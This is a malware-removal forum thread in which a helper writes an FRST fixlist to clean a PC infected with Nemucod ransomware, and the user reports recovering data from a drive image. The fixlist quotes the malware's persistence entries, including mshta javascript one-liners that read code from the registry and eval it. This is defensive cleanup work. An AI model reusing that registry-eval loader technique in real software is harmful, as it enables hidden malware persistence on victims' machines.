koottaz 0 Posted June 9, 2016 Report Share Posted June 9, 2016 A client's pc has become infected with a nemucod variant, pc has now been isolated , instructions followed for logs that has been attached, i can provide a document from the same pc .crypted and clean , can also provide the suspected email with attachment that infected the pc. I tried the nemucod decryptor, dosnt seem to work in this case. If you could have a look and see if there is any way to recover the data, please. Addition.txtFRST.txtscan_160609-115101.txt Link to post Share on other sites
Kevin Zoll 309 Posted June 9, 2016 Report Share Posted June 9, 2016 Hello, If you could attach copies of a clean and encrypted file, along with the email message and its malicious attachment, that would be extremely helpful. The following, targets the infection for removal. Copy the below code to Notepad; Save As fixlist.txt to your Desktop. HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [Eztion] => C:\Users\RochelleBeukes\AppData\Local\Eztion\2550232.exe [131952 2016-06-06] () HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [UXmedia] => regsvr32.exe C:\Users\RochelleBeukes\AppData\Local\UXmedia\cjqkixdl.dll <===== ATTENTION HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [Ummedia] => C:\Windows\SysWOW64\regsvr32.exe C:\Users\RochelleBeukes\AppData\Local\Eztion\hqckucpc.dll HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [Crypted] => C:\Users\RochelleBeukes\AppData\Local\temp\a.txt [1336 2016-06-09] () <===== ATTENTION HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [**slgnhigb<*>] => mshta javascript:YQwBu3MBA="rbgMjTgWlt";R7L=new%20ActiveXObject("WScript.Shell");qyj13Miyj="WJwRO";XcHY39=R7L.RegRead("HKCU\\software\\avcard\\jbwa");ap7sRoDsU="NOUP";eval(XcHY39);EtVIT4J="ueWSTUx"; <===== ATTENTION (Value Name with invalid characters) HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\...\Run: [**ldwbofpjld<*>] => "C:\Users\RochelleBeukes\AppData\Local\9fdc6\65dbe.lnk" <===== ATTENTION (Value Name with invalid characters) HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = FF Plugin: @microsoft.com/GENUINE -> disabled [No File] FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation) FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1203133.dll [2013-06-26] (Adobe Systems, Inc.) FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File] FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation) FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office14\NPSPWRAP.DLL [2010-03-24] (Microsoft Corporation) FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-15] (Google Inc.) FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.28.15\npGoogleUpdate3.dll [2015-09-15] (Google Inc.) FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2016-04-23] (Adobe Systems Inc.) CHR Profile: C:\Users\RochelleBeukes\AppData\Local\Google\Chrome\User Data\Default[UpdateUrl: hxxps://clients2.google/service/hdnjmejjndcgedcnfmcldfnaplgjbhdl] <==== ATTENTION 2016-06-09 08:04 - 2016-06-09 08:04 - 00000000 ____D C:\Users\RochelleBeukes\AppData\Roaming\bf9f6 2016-06-09 08:04 - 2016-06-09 08:04 - 00000000 ____D C:\Users\RochelleBeukes\AppData\Local\9fdc6 2016-06-06 09:17 - 2016-06-06 09:12 - 00750320 ___SH (AutoIt Team) C:\Users\RochelleBeukes\AppData\Roaming\hFKbVbXGFgZEbFHOcIEWL.exe 2016-06-06 09:17 - 2016-06-06 09:12 - 00216080 ___SH C:\Users\RochelleBeukes\AppData\Roaming\RUNWSNYYcGVY 2016-06-06 09:17 - 2016-06-06 09:12 - 00029566 ___SH C:\Users\RochelleBeukes\AppData\Roaming\hFKbVbXGFgZEbFHOcIE 2016-06-06 05:35 - 2016-06-06 05:35 - 00069632 _____ C:\Users\RochelleBeukes\AppData\Roaming\Linker.dll 2016-05-19 16:25 - 2016-05-19 16:25 - 00085554 _____ C:\ProgramData\1463660585.bdinstall.bin 2016-05-19 13:21 - 2016-05-19 13:21 - 00083315 _____ C:\ProgramData\1463660491.bdinstall.bin 2016-05-19 13:20 - 2016-05-19 13:20 - 00000921 _____ C:\ProgramData\1463660362.4708.bin 2016-05-19 13:19 - 2016-05-19 13:22 - 00081400 _____ C:\ProgramData\1463660362.1664.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 00048806 _____ C:\ProgramData\1463660362.3988.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 00028149 _____ C:\ProgramData\1463660362.3980.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 00006251 _____ C:\ProgramData\1463660362.3992.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 00004141 _____ C:\ProgramData\1463660362.4264.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 00001950 _____ C:\ProgramData\1463660362.3996.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 00009150 _____ C:\ProgramData\1463660362.508.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 00004292 _____ C:\ProgramData\1463660362.1256.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 00001039 _____ C:\ProgramData\1463660362.524.bin 2016-05-19 13:18 - 2016-05-19 13:18 - 00047265 _____ C:\ProgramData\1463660281.bdinstall.bin 2016-05-19 13:15 - 2016-05-19 13:15 - 00044382 _____ C:\ProgramData\1463660121.bdinstall.bin 2016-05-19 13:13 - 2016-05-19 13:13 - 00044380 _____ C:\ProgramData\1463660010.bdinstall.bin 2016-05-19 13:12 - 2016-05-19 13:12 - 00044380 _____ C:\ProgramData\1463659907.bdinstall.bin 2016-05-18 09:04 - 2016-05-18 09:04 - 00095335 _____ C:\ProgramData\1463558467.bdinstall.bin 2016-06-06 09:17 - 2016-06-06 09:12 - 0029566 ___SH () C:\Users\RochelleBeukes\AppData\Roaming\hFKbVbXGFgZEbFHOcIE 2016-06-06 09:17 - 2016-06-06 09:12 - 0750320 ___SH (AutoIt Team) C:\Users\RochelleBeukes\AppData\Roaming\hFKbVbXGFgZEbFHOcIEWL.exe 2016-06-06 05:35 - 2016-06-06 05:35 - 0069632 _____ () C:\Users\RochelleBeukes\AppData\Roaming\Linker.dll 2016-06-06 09:17 - 2016-06-06 09:12 - 0216080 ___SH () C:\Users\RochelleBeukes\AppData\Roaming\RUNWSNYYcGVY 2016-05-18 09:04 - 2016-05-18 09:04 - 0095335 _____ () C:\ProgramData\1463558467.bdinstall.bin 2016-05-19 13:12 - 2016-05-19 13:12 - 0044380 _____ () C:\ProgramData\1463659907.bdinstall.bin 2016-05-19 13:13 - 2016-05-19 13:13 - 0044380 _____ () C:\ProgramData\1463660010.bdinstall.bin 2016-05-19 13:15 - 2016-05-19 13:15 - 0044382 _____ () C:\ProgramData\1463660121.bdinstall.bin 2016-05-19 13:18 - 2016-05-19 13:18 - 0047265 _____ () C:\ProgramData\1463660281.bdinstall.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 0004292 _____ () C:\ProgramData\1463660362.1256.bin 2016-05-19 13:19 - 2016-05-19 13:22 - 0081400 _____ () C:\ProgramData\1463660362.1664.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 0028149 _____ () C:\ProgramData\1463660362.3980.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 0048806 _____ () C:\ProgramData\1463660362.3988.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 0006251 _____ () C:\ProgramData\1463660362.3992.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 0001950 _____ () C:\ProgramData\1463660362.3996.bin 2016-05-19 13:19 - 2016-05-19 13:20 - 0004141 _____ () C:\ProgramData\1463660362.4264.bin 2016-05-19 13:20 - 2016-05-19 13:20 - 0000921 _____ () C:\ProgramData\1463660362.4708.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 0009150 _____ () C:\ProgramData\1463660362.508.bin 2016-05-19 13:19 - 2016-05-19 13:19 - 0001039 _____ () C:\ProgramData\1463660362.524.bin 2016-05-19 13:21 - 2016-05-19 13:21 - 0083315 _____ () C:\ProgramData\1463660491.bdinstall.bin 2016-05-19 16:25 - 2016-05-19 16:25 - 0085554 _____ () C:\ProgramData\1463660585.bdinstall.bin 2015-08-13 08:08 - 2015-08-13 08:08 - 0000000 ____H () C:\ProgramData\DP45977C.lfl C:\Users\RochelleBeukes\AppData\Local\temp\a.txt C:\Users\RochelleBeukes\AppData\Local\temp\2550231.exe C:\Users\RochelleBeukes\AppData\Local\temp\2550232.exe C:\Users\RochelleBeukes\AppData\Local\temp\a1.exe C:\Users\RochelleBeukes\AppData\Local\temp\a2.exe Task: C:\Windows\Tasks\EPSON WF-5620 Series Invitation {C1953C24-201A-4E6E-BDC7-B195192E56A1}.job => Task: C:\Windows\Tasks\EPSON WF-5620 Series Invitation {E3FC35DC-20D3-49FE-8C32-393224EAFB41}.job => Task: C:\Windows\Tasks\EPSON WF-5620 Series Update {C1953C24-201A-4E6E-BDC7-B195192E56A1}.job => Task: C:\Windows\Tasks\EPSON WF-5620 Series Update {E3FC35DC-20D3-49FE-8C32-393224EAFB41}.job => Shortcut: C:\Users\RochelleBeukes\AppData\Local\9fdc6\65dbe.lnk -> C:\Users\RochelleBeukes\AppData\Local\9fdc6\92ff8.bat () 2016-06-06 09:18 - 2016-06-06 09:17 - 00131952 _____ () C:\Users\RochelleBeukes\AppData\Local\Eztion\2550232.exe HKU\S-1-5-21-2267958575-3383068860-2487277251-1208\Software\Classes\10b53: mshta "javascript:bqGCvWFh92="OBg";Hi47=new ActiveXObject("WScript.Shell");gFW6xw6B="yfV";MP5lH=Hi47.RegRead("HKCU\\software\\avcard\\jbwa");H4RuxiJq="HRrWBa";eval(MP5lH);bPzJnz5="KRsJ5";" <===== ATTENTION C:\Users\RochelleBeukes\AppData\Local\Eztion\2550232.exe C:\Users\RochelleBeukes\AppData\Local\Eztion\2550232.exe C:\Users\RochelleBeukes\AppData\Local\Eztion\hqckucpc.dll C:\Users\RochelleBeukes\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UOGJ9PCG\87b6d4790c1d2416[1].png C:\Users\RochelleBeukes\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UOGJ9PCG\9127[1].png C:\Users\RochelleBeukes\AppData\Local\temp\2550231.exe C:\Users\RochelleBeukes\AppData\Local\temp\2550232.exe C:\Users\RochelleBeukes\AppData\Local\UXmedia\cjqkixdl.dllClose Notepad.NOTE: It's important that both files, FRST64 and fixlist.txt are in the same location or the fix will not work. NOTICE: This script was written specifically for this user, for use on that particular machine. Running this on another machine may cause damage to your operating system Run FRST64 and press the Fix button just once and wait. If the tool needed a restart please make sure you let the system restart normally and let the tool complete its run after restart. The tool will make a log on the Desktop (Fixlog.txt). Attach it to your reply. Note: If the tool warns you about an outdated version please download and run the updated version. 1 Link to post Share on other sites
koottaz 0 Posted June 10, 2016 Author Report Share Posted June 10, 2016 Thank You, i have run conbofix, jrt and adware remover while awaiting your reply , and also removed some infections, herewith atached encrypted file, clean file , email , and zip atachment of email containing a javascript file which i believe to be the dropper.had to add .txt extension to crypted and msg file to upload FedEx_ID_0000593301.zip Fixlog.txt PURCHASER FIA.pdf PURCHASER FIA.pdf.crypted.txt Unable to deliver your item #0000593301.msg.txt Link to post Share on other sites
koottaz 0 Posted June 10, 2016 Author Report Share Posted June 10, 2016 Thank you for your time and effort, i found a recent hidden drive image of this pc and was able to retrieve all the user data. I hope the submitted files may be of help to someone else with a similar situation. Link to post Share on other sites
Kevin Zoll 309 Posted June 10, 2016 Report Share Posted June 10, 2016 Glad to hear that you were able to recover the users data from a recent drive image. Let's take a fresh look. Run fresh scans with Emsisoft Emergency Kit (EEK) and FRST, attach the new EEK and FRST scans to your reply. Link to post Share on other sites
koottaz 0 Posted June 13, 2016 Author Report Share Posted June 13, 2016 I just copied the user data to an external device, pc has been completely formatted and windows and all software reinstalled. All well now. Thread can be closed Thank you again Link to post Share on other sites
Kevin Zoll 309 Posted June 13, 2016 Report Share Posted June 13, 2016 Thread Closed Link to post Share on other sites
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